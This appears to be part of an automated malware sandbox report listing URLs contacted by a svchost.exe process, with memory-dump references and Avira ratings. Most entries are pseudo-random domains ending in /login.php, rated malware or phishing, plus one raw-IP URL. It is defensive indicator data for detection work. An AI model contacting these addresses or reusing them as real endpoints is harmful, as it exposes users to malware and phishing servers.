                                                                                                                                                                                                          http://puzybil.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyvynid.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qeqyxyp.com/login.phpsvchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://106.15.232.163:8000/dh/147287063_134827.html#index8?d=lyrysor.comsvchost.exe, 00000002.00000003.2434703123.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2471230850.0000000005801000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433894969.00000000087AA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qegyfyp.com/login.phpsvchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2198550241.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272090324.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2198486951.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qeqykog.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296191981.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lysyxar.com/login.phpsvchost.exe, 00000002.00000003.2347368990.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347595407.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyxygax.com/login.phpsvchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2639583106.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lygyjuj.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321460609.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320047859.00000000033EF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pumytup.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388123270.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393409003.000000000338E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3347345159.000000000338D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302596386.000000000865D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qedyrag.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qedykiv.com/login.phpsvchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307644873.0000000003353000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzylol.com/login.phpsvchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puvydov.com/login.phpsvchost.exe, 00000002.00000003.2318282054.00000000008FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458870.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321434222.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305813558.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gahyqub.com/login.phpsvchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pupywog.com/login.phpsvchost.exe, 00000002.00000003.2318282054.00000000008FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458870.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305813558.00000000008F9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qedyruv.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752503084.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pumyxiv.com/login.phpsvchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157288878.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157020892.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194320231.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202674715.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151945828.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157370436.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://volycem.com/login.phpsvchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzyduq.com/login.phpsvchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pufyxov.com/login.phpcom/login.phpsvchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzydal.com/login.phpsvchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
